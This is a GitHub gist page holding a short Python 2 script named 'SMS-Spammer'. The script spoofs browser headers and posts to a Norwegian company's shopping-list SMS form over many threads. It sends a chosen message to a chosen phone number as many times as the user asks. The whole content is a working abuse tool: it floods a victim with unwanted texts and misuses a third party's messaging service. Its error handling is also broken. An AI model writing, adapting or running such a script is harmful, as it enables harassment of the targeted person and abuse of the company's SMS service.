Created
April 12, 2012 15:32
-
-
Save Foxboron/2368238 to your computer and use it in GitHub Desktop.
SMS-Spammer
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib, urllib2 | |
import threading | |
''' | |
''' | |
def main(nummer, text, n): | |
user_agent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.151 Safari/535.19' | |
headers = { 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8t', | |
'Accept-Charset' : 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', | |
'Accept-Encoding' : 'gzip,deflate,sdch', | |
'Accept-Language' : 'nb-NO,nb;q=0.8,no;q=0.6,nn;q=0.4,en-US;q=0.2,en;q=0.2', | |
'Connection' : 'keep-alive', | |
'Host' : 'www.synnove.no', | |
'Referer' : 'http://www.synnove.no/Default.aspx?menu=136&id=86', | |
'User-Agent' : user_agent, | |
} | |
url = "http://www.synnove.no/send_sms.aspx" | |
values = {'number': str(nummer), 'rec':'heihei', 'menu':'136', 'id':'86', 'shoppinglist':str(text)} | |
while True: | |
try: | |
data = urllib.urlencode(values) | |
req = urllib2.Request(url, data, headers) | |
response = urllib2.urlopen(req) | |
the_page = response.read() | |
print "Thread %s stopped" % n | |
break | |
except URLError, e: | |
print e.code | |
class MyThread(threading.Thread): | |
def __init__(self, nummer, text, n): | |
self.nummer = nummer | |
self.text = text | |
self.n = n | |
threading.Thread.__init__(self) | |
def run(self): | |
main(self.nummer, self.text, self.n) | |
if __name__ == '__main__': | |
nummer = raw_input("Phonenumber: ") | |
text = raw_input ("Send awsome text!: ") | |
times = raw_input("How many times?: ") | |
n=0 | |
while n != int(times): | |
n=n+1 | |
print "Thread %s started" % n | |
MyThread(nummer, text, n).start() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment